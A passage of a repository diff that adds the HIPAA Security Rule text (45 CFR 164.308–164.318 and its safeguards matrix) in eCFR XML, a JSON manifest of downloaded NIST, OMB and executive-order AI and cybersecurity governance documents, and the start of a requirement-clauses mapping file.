<P>(3)(i) <I>Standard: Workforce security.</I> Implement policies and procedures to ensure that all members of its workforce have appropriate access to electronic protected health information, as provided under paragraph (a)(4) of this section, and to prevent those workforce members who do not have access under paragraph (a)(4) of this section from obtaining access to electronic protected health information.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Authorization and/or supervision (Addressable).</I> Implement procedures for the authorization and/or supervision of workforce members who work with electronic protected health information or in locations where it might be accessed.</P>
|
||||
<P>(B) <I>Workforce clearance procedure (Addressable).</I> Implement procedures to determine that the access of a workforce member to electronic protected health information is appropriate.</P>
|
||||
<P>(C) <I>Termination procedures (Addressable).</I> Implement procedures for terminating access to electronic protected health information when the employment of, or other arrangement with, a workforce member ends or as required by determinations made as specified in paragraph (a)(3)(ii)(B) of this section.</P>
|
||||
<P>(4)(i) <I>Standard: Information access management.</I> Implement policies and procedures for authorizing access to electronic protected health information that are consistent with the applicable requirements of subpart E of this part.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Isolating health care clearinghouse functions (Required).</I> If a health care clearinghouse is part of a larger organization, the clearinghouse must implement policies and procedures that protect the electronic protected health information of the clearinghouse from unauthorized access by the larger organization.</P>
|
||||
<P>(B) <I>Access authorization (Addressable).</I> Implement policies and procedures for granting access to electronic protected health information, for example, through access to a workstation, transaction, program, process, or other mechanism.</P>
|
||||
<P>(C) <I>Access establishment and modification (Addressable).</I> Implement policies and procedures that, based upon the covered entity's or the business associate's access authorization policies, establish, document, review, and modify a user's right of access to a workstation, transaction, program, or process.</P>
|
||||
<P>(5)(i) <I>Standard: Security awareness and training.</I> Implement a security awareness and training program for all members of its workforce (including management).</P>
|
||||
<P>(ii) <I>Implementation specifications.</I> Implement:</P>
|
||||
<P>(A) <I>Security reminders (Addressable).</I> Periodic security updates.</P>
|
||||
<P>(B) <I>Protection from malicious software (Addressable).</I> Procedures for guarding against, detecting, and reporting malicious software.</P>
|
||||
<P>(C) <I>Log-in monitoring (Addressable).</I> Procedures for monitoring log-in attempts and reporting discrepancies.</P>
|
||||
<P>(D) <I>Password management (Addressable).</I> Procedures for creating, changing, and safeguarding passwords.</P>
|
||||
<P>(6)(i) <I>Standard: Security incident procedures.</I> Implement policies and procedures to address security incidents.</P>
|
||||
<P>(ii) <I>Implementation specification: Response and reporting (Required).</I> Identify and respond to suspected or known security incidents; mitigate, to the extent practicable, harmful effects of security incidents that are known to the covered entity or business associate; and document security incidents and their outcomes.</P>
|
||||
<P>(7)(i) <I>Standard: Contingency plan.</I> Establish (and implement as needed) policies and procedures for responding to an emergency or other occurrence (for example, fire, vandalism, system failure, and natural disaster) that damages systems that contain electronic protected health information.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Data backup plan (Required).</I> Establish and implement procedures to create and maintain retrievable exact copies of electronic protected health information.</P>
|
||||
<P>(B) <I>Disaster recovery plan (Required).</I> Establish (and implement as needed) procedures to restore any loss of data.</P>
|
||||
<P>(C) <I>Emergency mode operation plan (Required).</I> Establish (and implement as needed) procedures to enable continuation of critical business processes for protection of the security of electronic protected health information while operating in emergency mode.</P>
|
||||
<P>(D) <I>Testing and revision procedures (Addressable).</I> Implement procedures for periodic testing and revision of contingency plans.</P>
|
||||
<P>(E) <I>Applications and data criticality analysis (Addressable).</I> Assess the relative criticality of specific applications and data in support of other contingency plan components.</P>
|
||||
<P>(8) <I>Standard: Evaluation.</I> Perform a periodic technical and nontechnical evaluation, based initially upon the standards implemented under this rule and, subsequently, in response to environmental or operational changes affecting the security of electronic protected health information, that establishes the extent to which a covered entity's or business associate's security policies and procedures meet the requirements of this subpart.</P>
|
||||
<P>(b)(1) <I>Business associate contracts and other arrangements.</I> A covered entity may permit a business associate to create, receive, maintain, or transmit electronic protected health information on the covered entity's behalf only if the covered entity obtains satisfactory assurances, in accordance with § 164.314(a), that the business associate will appropriately safeguard the information. A covered entity is not required to obtain such satisfactory assurances from a business associate that is a subcontractor.</P>
|
||||
<P>(2) A business associate may permit a business associate that is a subcontractor to create, receive, maintain, or transmit electronic protected health information on its behalf only if the business associate obtains satisfactory assurances, in accordance with § 164.314(a), that the subcontractor will appropriately safeguard the information.</P>
|
||||
<P>(3) <I>Implementation specifications: Written contract or other arrangement (Required).</I> Document the satisfactory assurances required by paragraph (b)(1) or (b)(2) of this section through a written contract or other arrangement with the business associate that meets the applicable requirements of § 164.314(a).</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.310" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.310","citation":"45 CFR 164.310"}">
|
||||
<HEAD>§ 164.310 Physical safeguards.</HEAD>
|
||||
<P>A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(a)(1) <I>Standard: Facility access controls.</I> Implement policies and procedures to limit physical access to its electronic information systems and the facility or facilities in which they are housed, while ensuring that properly authorized access is allowed.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Contingency operations (Addressable).</I> Establish (and implement as needed) procedures that allow facility access in support of restoration of lost data under the disaster recovery plan and emergency mode operations plan in the event of an emergency.</P>
|
||||
<P>(ii) <I>Facility security plan (Addressable).</I> Implement policies and procedures to safeguard the facility and the equipment therein from unauthorized physical access, tampering, and theft.</P>
|
||||
<P>(iii) <I>Access control and validation procedures (Addressable).</I> Implement procedures to control and validate a person's access to facilities based on their role or function, including visitor control, and control of access to software programs for testing and revision.</P>
|
||||
<P>(iv) <I>Maintenance records (Addressable).</I> Implement policies and procedures to document repairs and modifications to the physical components of a facility which are related to security (for example, hardware, walls, doors, and locks).</P>
|
||||
<P>(b) <I>Standard: Workstation use.</I> Implement policies and procedures that specify the proper functions to be performed, the manner in which those functions are to be performed, and the physical attributes of the surroundings of a specific workstation or class of workstation that can access electronic protected health information.</P>
|
||||
<P>(c) <I>Standard: Workstation security.</I> Implement physical safeguards for all workstations that access electronic protected health information, to restrict access to authorized users.</P>
|
||||
<P>(d)(1) <I>Standard: Device and media controls.</I> Implement policies and procedures that govern the receipt and removal of hardware and electronic media that contain electronic protected health information into and out of a facility, and the movement of these items within the facility.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Disposal (Required).</I> Implement policies and procedures to address the final disposition of electronic protected health information, and/or the hardware or electronic media on which it is stored.</P>
|
||||
<P>(ii) <I>Media re-use (Required).</I> Implement procedures for removal of electronic protected health information from electronic media before the media are made available for re-use.</P>
|
||||
<P>(iii) <I>Accountability (Addressable).</I> Maintain a record of the movements of hardware and electronic media and any person responsible therefore.</P>
|
||||
<P>(iv) <I>Data backup and storage (Addressable).</I> Create a retrievable, exact copy of electronic protected health information, when needed, before movement of equipment.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.312" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.312","citation":"45 CFR 164.312"}">
|
||||
<HEAD>§ 164.312 Technical safeguards.</HEAD>
|
||||
<P>A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(a)(1) <I>Standard: Access control.</I> Implement technical policies and procedures for electronic information systems that maintain electronic protected health information to allow access only to those persons or software programs that have been granted access rights as specified in § 164.308(a)(4).</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Unique user identification (Required).</I> Assign a unique name and/or number for identifying and tracking user identity.</P>
|
||||
<P>(ii) <I>Emergency access procedure (Required).</I> Establish (and implement as needed) procedures for obtaining necessary electronic protected health information during an emergency.</P>
|
||||
<P>(iii) <I>Automatic logoff (Addressable).</I> Implement electronic procedures that terminate an electronic session after a predetermined time of inactivity.</P>
|
||||
<P>(iv) <I>Encryption and decryption (Addressable).</I> Implement a mechanism to encrypt and decrypt electronic protected health information.</P>
|
||||
<P>(b) <I>Standard: Audit controls.</I> Implement hardware, software, and/or procedural mechanisms that record and examine activity in information systems that contain or use electronic protected health information.</P>
|
||||
<P>(c)(1) <I>Standard: Integrity.</I> Implement policies and procedures to protect electronic protected health information from improper alteration or destruction.</P>
|
||||
<P>(2) <I>Implementation specification: Mechanism to authenticate electronic protected health information (Addressable).</I> Implement electronic mechanisms to corroborate that electronic protected health information has not been altered or destroyed in an unauthorized manner.</P>
|
||||
<P>(d) <I>Standard: Person or entity authentication.</I> Implement procedures to verify that a person or entity seeking access to electronic protected health information is the one claimed.</P>
|
||||
<P>(e)(1) <I>Standard: Transmission security.</I> Implement technical security measures to guard against unauthorized access to electronic protected health information that is being transmitted over an electronic communications network.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Integrity controls (Addressable).</I> Implement security measures to ensure that electronically transmitted electronic protected health information is not improperly modified without detection until disposed of.</P>
|
||||
<P>(ii) <I>Encryption (Addressable).</I> Implement a mechanism to encrypt electronic protected health information whenever deemed appropriate.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.314" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.314","citation":"45 CFR 164.314"}">
|
||||
<HEAD>§ 164.314 Organizational requirements.</HEAD>
|
||||
<P>(a)(1) <I>Standard: Business associate contracts or other arrangements.</I> The contract or other arrangement required by § 164.308(b)(3) must meet the requirements of paragraph (a)(2)(i), (a)(2)(ii), or (a)(2)(iii) of this section, as applicable.</P>
|
||||
<P>(2) <I>Implementation specifications (Required)</I>—(i) <I>Business associate contracts.</I> The contract must provide that the business associate will—</P>
|
||||
<P>(A) Comply with the applicable requirements of this subpart;</P>
|
||||
<P>(B) In accordance with § 164.308(b)(2), ensure that any subcontractors that create, receive, maintain, or transmit electronic protected health information on behalf of the business associate agree to comply with the applicable requirements of this subpart by entering into a contract or other arrangement that complies with this section; and</P>
|
||||
<P>(C) Report to the covered entity any security incident of which it becomes aware, including breaches of unsecured protected health information as required by § 164.410.</P>
|
||||
<P>(ii) <I>Other arrangements.</I> The covered entity is in compliance with paragraph (a)(1) of this section if it has another arrangement in place that meets the requirements of § 164.504(e)(3).</P>
|
||||
<P>(iii) <I>Business associate contracts with subcontractors.</I> The requirements of paragraphs (a)(2)(i) and (a)(2)(ii) of this section apply to the contract or other arrangement between a business associate and a subcontractor required by § 164.308(b)(4) in the same manner as such requirements apply to contracts or other arrangements between a covered entity and business associate.</P>
|
||||
<P>(b)(1) <I>Standard: Requirements for group health plans.</I> Except when the only electronic protected health information disclosed to a plan sponsor is disclosed pursuant to § 164.504(f)(1)(ii) or (iii), or as authorized under § 164.508, a group health plan must ensure that its plan documents provide that the plan sponsor will reasonably and appropriately safeguard electronic protected health information created, received, maintained, or transmitted to or by the plan sponsor on behalf of the group health plan.</P>
|
||||
<P>(2) <I>Implementation specifications (Required).</I> The plan documents of the group health plan must be amended to incorporate provisions to require the plan sponsor to—</P>
|
||||
<P>(i) Implement administrative, physical, and technical safeguards that reasonably and appropriately protect the confidentiality, integrity, and availability of the electronic protected health information that it creates, receives, maintains, or transmits on behalf of the group health plan;</P>
|
||||
<P>(ii) Ensure that the adequate separation required by § 164.504(f)(2)(iii) is supported by reasonable and appropriate security measures;</P>
|
||||
<P>(iii) Ensure that any agent to whom it provides this information agrees to implement reasonable and appropriate security measures to protect the information; and</P>
|
||||
<P>(iv) Report to the group health plan any security incident of which it becomes aware.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013; 78 FR 34266, June 7, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.316" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.316","citation":"45 CFR 164.316"}">
|
||||
<HEAD>§ 164.316 Policies and procedures and documentation requirements.</HEAD>
|
||||
<P>A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(a) <I>Standard: Policies and procedures.</I> Implement reasonable and appropriate policies and procedures to comply with the standards, implementation specifications, or other requirements of this subpart, taking into account those factors specified in § 164.306(b)(2)(i), (ii), (iii), and (iv). This standard is not to be construed to permit or excuse an action that violates any other standard, implementation specification, or other requirements of this subpart. A covered entity or business associate may change its policies and procedures at any time, provided that the changes are documented and are implemented in accordance with this subpart.</P>
|
||||
<P>(b)(1) <I>Standard: Documentation.</I> (i) Maintain the policies and procedures implemented to comply with this subpart in written (which may be electronic) form; and</P>
|
||||
<P>(ii) If an action, activity or assessment is required by this subpart to be documented, maintain a written (which may be electronic) record of the action, activity, or assessment.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Time limit (Required).</I> Retain the documentation required by paragraph (b)(1) of this section for 6 years from the date of its creation or the date when it last was in effect, whichever is later.</P>
|
||||
<P>(ii) <I>Availability (Required).</I> Make documentation available to those persons responsible for implementing the procedures to which the documentation pertains.</P>
|
||||
<P>(iii) <I>Updates (Required).</I> Review documentation periodically, and update as needed, in response to environmental or operational changes affecting the security of the electronic protected health information.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5695, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.318" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.318","citation":"45 CFR 164.318"}">
|
||||
<HEAD>§ 164.318 Compliance dates for the initial implementation of the security standards.</HEAD>
|
||||
<P>(a) <I>Health plan.</I> (1) A health plan that is not a small health plan must comply with the applicable requirements of this subpart no later than April 20, 2005.</P>
|
||||
<P>(2) A small health plan must comply with the applicable requirements of this subpart no later than April 20, 2006.</P>
|
||||
<P>(b) <I>Health care clearinghouse.</I> A health care clearinghouse must comply with the applicable requirements of this subpart no later than April 20, 2005.</P>
|
||||
<P>(c) <I>Health care provider.</I> A covered health care provider must comply with the applicable requirements of this subpart no later than April 20, 2005.</P>
|
||||
</DIV8>
|
||||
|
||||
<DIV9 N="Appendix A to Subpart C of Part 164" TYPE="APPENDIX" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/part-164/appendix-Appendix A to Subpart C of Part 164","citation":"Appendix A to Subpart C of Part 164, Title 45"}">
|
||||
<HEAD>Appendix A to Subpart C of Part 164—Security Standards: Matrix
|
||||
</HEAD>
|
||||
<DIV width="100%"><DIV class="gpotbl_div">
|
||||
<TABLE border="1" cellpadding="1" cellspacing="1" class="gpo_table" frame="void" width="100%">
|
||||
<THEAD>
|
||||
<TR>
|
||||
<TH class="center border-top-single border-bottom-single border-right-single">Standards</TH>
|
||||
<TH class="center border-top-single border-bottom-single border-right-single">Sections</TH>
|
||||
<TH class="center border-top-single border-bottom-single">Implementation Specifications (R) = Required, (A) = Addressable</TH>
|
||||
</TR>
|
||||
</THEAD>
|
||||
<TBODY>
|
||||
<TR>
|
||||
<TD colspan="3" class="center border-bottom-single"><strong class="minor-caps">Administrative Safeguards</strong>
|
||||
</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Security Management Process</TD>
|
||||
<TD class="left border-right-single">164.308(a)(1)</TD>
|
||||
<TD class="left">Risk Analysis (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Risk Management (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Sanction Policy (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Information System Activity Review (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Assigned Security Responsibility</TD>
|
||||
<TD class="left border-right-single">164.308(a)(2)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Workforce Security</TD>
|
||||
<TD class="left border-right-single">164.308(a)(3)</TD>
|
||||
<TD class="left">Authorization and/or Supervision (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Workforce Clearance Procedure</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Termination Procedures (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Information Access Management</TD>
|
||||
<TD class="left border-right-single">164.308(a)(4)</TD>
|
||||
<TD class="left">Isolating Health care Clearinghouse Function (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Access Authorization (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Access Establishment and Modification (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Security Awareness and Training</TD>
|
||||
<TD class="left border-right-single">164.308(a)(5)</TD>
|
||||
<TD class="left">Security Reminders (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Protection from Malicious Software (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Log-in Monitoring (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Password Management (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Security Incident Procedures</TD>
|
||||
<TD class="left border-right-single">164.308(a)(6)</TD>
|
||||
<TD class="left">Response and Reporting (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Contingency Plan</TD>
|
||||
<TD class="left border-right-single">164.308(a)(7)</TD>
|
||||
<TD class="left">Data Backup Plan (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Disaster Recovery Plan (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Emergency Mode Operation Plan (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Testing and Revision Procedure (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Applications and Data Criticality Analysis (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Evaluation</TD>
|
||||
<TD class="left border-right-single">164.308(a)(8)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-bottom-single border-right-single">Business Associate Contracts and Other Arrangement</TD>
|
||||
<TD class="left border-bottom-single border-right-single">164.308(b)(1)</TD>
|
||||
<TD class="left border-bottom-single">Written Contract or Other Arrangement (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD colspan="3" class="center border-bottom-single"><strong class="minor-caps">Physical Safeguards</strong>
|
||||
</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Facility Access Controls</TD>
|
||||
<TD class="left border-right-single">164.310(a)(1)</TD>
|
||||
<TD class="left">Contingency Operations (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Facility Security Plan (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Access Control and Validation Procedures (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Maintenance Records (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Workstation Use</TD>
|
||||
<TD class="left border-right-single">164.310(b)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Workstation Security</TD>
|
||||
<TD class="left border-right-single">164.310(c)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Device and Media Controls</TD>
|
||||
<TD class="left border-right-single">164.310(d)(1)</TD>
|
||||
<TD class="left">Disposal (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Media Re-use (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Accountability (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-bottom-single border-right-single"> </TD>
|
||||
<TD class="left border-bottom-single border-right-single"> </TD>
|
||||
<TD class="left border-bottom-single">Data Backup and Storage (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD colspan="3" class="center border-bottom-single"><strong class="minor-caps">Technical Safeguards</strong> (see § 164.312)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Access Control</TD>
|
||||
<TD class="left border-right-single">164.312(a)(1)</TD>
|
||||
<TD class="left">Unique User Identification (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Emergency Access Procedure (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Automatic Logoff (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Encryption and Decryption (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Audit Controls</TD>
|
||||
<TD class="left border-right-single">164.312(b)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Integrity</TD>
|
||||
<TD class="left border-right-single">164.312(c)(1)</TD>
|
||||
<TD class="left">Mechanism to Authenticate Electronic Protected Health Information (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Person or Entity Authentication</TD>
|
||||
<TD class="left border-right-single">164.312(d)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Transmission Security</TD>
|
||||
<TD class="left border-right-single">164.312(e)(1)</TD>
|
||||
<TD class="left">Integrity Controls (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-bottom-single border-right-single"> </TD>
|
||||
<TD class="left border-bottom-single border-right-single"/>
|
||||
<TD class="left border-bottom-single">Encryption (A)</TD>
|
||||
</TR>
|
||||
</TBODY>
|
||||
</TABLE>
|
||||
</DIV></DIV>
|
||||
</DIV9>
|
||||
|
||||
</DIV6>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,83 @@
|
||||
[
|
||||
{
|
||||
"filename": "nist_ai_rmf_1.0.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST AI Risk Management Framework (AI RMF 1.0), NIST AI 100-1",
|
||||
"retrieved_at": "2026-08-04T17:51:30.539157+00:00",
|
||||
"size_bytes": 1946127,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_csf_1.1.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST Cybersecurity Framework, Version 1.1 (April 2018)",
|
||||
"retrieved_at": "2026-08-04T17:51:33.569305+00:00",
|
||||
"size_bytes": 1062822,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_csf_2.0.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf",
|
||||
"type": "pdf",
|
||||
"description": "The NIST Cybersecurity Framework (CSF) 2.0, NIST CSWP 29 (February 2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:36.871034+00:00",
|
||||
"size_bytes": 1518858,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_sp800-66r2_hipaa_security.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-66r2.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST SP 800-66 Rev. 2: Implementing the HIPAA Security Rule: A Cybersecurity Resource Guide",
|
||||
"retrieved_at": "2026-08-04T17:51:40.264756+00:00",
|
||||
"size_bytes": 1626188,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "hipaa_security_rule_45cfr164_subpart_c.xml",
|
||||
"url": "https://www.ecfr.gov/api/versioner/v1/full/2026-07-31/title-45.xml?part=164&subpart=C",
|
||||
"type": "xml",
|
||||
"description": "HIPAA Security Rule, 45 CFR Part 164 Subpart C (current eCFR text, via the public eCFR versioner API)",
|
||||
"retrieved_at": "2026-08-04T17:51:42.108482+00:00",
|
||||
"size_bytes": 37860,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "eo_14110_safe_secure_trustworthy_ai.pdf",
|
||||
"url": "https://www.govinfo.gov/content/pkg/FR-2023-11-01/pdf/2023-24283.pdf",
|
||||
"type": "pdf",
|
||||
"description": "Executive Order 14110: Safe, Secure, and Trustworthy Development and Use of AI (Federal Register, Nov 1, 2023)",
|
||||
"retrieved_at": "2026-08-04T17:51:44.635684+00:00",
|
||||
"size_bytes": 437813,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "omb_m24-10_ai_governance.pdf",
|
||||
"url": "https://www.whitehouse.gov/wp-content/uploads/2024/03/M-24-10-Advancing-Governance-Innovation-and-Risk-Management-for-Agency-Use-of-Artificial-Intelligence.pdf",
|
||||
"type": "pdf",
|
||||
"description": "OMB Memorandum M-24-10: Advancing Governance, Innovation, and Risk Management for Agency Use of Artificial Intelligence (March 2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:45.590508+00:00",
|
||||
"size_bytes": 530549,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_ai_600-1_genai_profile.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST AI 600-1: Artificial Intelligence Risk Management Framework: Generative Artificial Intelligence Profile (2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:50.286354+00:00",
|
||||
"size_bytes": 1174643,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "fed_compliance_plan_omb_m24-10.pdf",
|
||||
"url": "https://www.federalreserve.gov/publications/files/compliance-plan-for-omb-memorandum-m-24-10-202409.pdf",
|
||||
"type": "pdf",
|
||||
"description": "Board of Governors of the Federal Reserve System: Compliance Plan for OMB Memorandum M-24-10 (September 2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:51.144492+00:00",
|
||||
"size_bytes": 1092733,
|
||||
"status_code": 200
|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,44 @@
|
||||
{
|
||||
"requirement_clauses": [
|
||||
{"id": "csf2_govern", "doc": "nist_csf_2.0", "sector": "Cross-sector", "topic": "Govern",
|
||||
"citation": "NIST CSWP 29 (CSF 2.0), Govern Function", "text": "GOVERN addresses an understanding"},
|
||||
{"id": "csf2_identify", "doc": "nist_csf_2.0", "sector": "Cross-sector", "topic": "Identify",
|
||||
"citation": "NIST CSWP 29 (CSF 2.0), Identify Function", "text": "IDENTIFY"},
|
||||
{"id": "csf11_identify", "doc": "nist_csf_1.1", "sector": "Cross-sector", "topic": "Identify",
|
||||
"citation": "NIST CSWP 04162018 (CSF 1.1), Identify Function", "text": "Identify"},
|
||||
{"id": "csf11_protect", "doc": "nist_csf_1.1", "sector": "Cross-sector", "topic": "Protect",
|
||||
"citation": "NIST CSWP 04162018 (CSF 1.1), Protect Function", "text": "Protect"},
|
||||
{"id": "hipaa_admin_safeguards", "doc": "hipaa_45cfr164_subpart_c", "sector": "Healthcare", "topic": "Administrative Safeguards",
|
||||
"citation": "45 CFR 164.308", "text": "Administrative safeguards"},
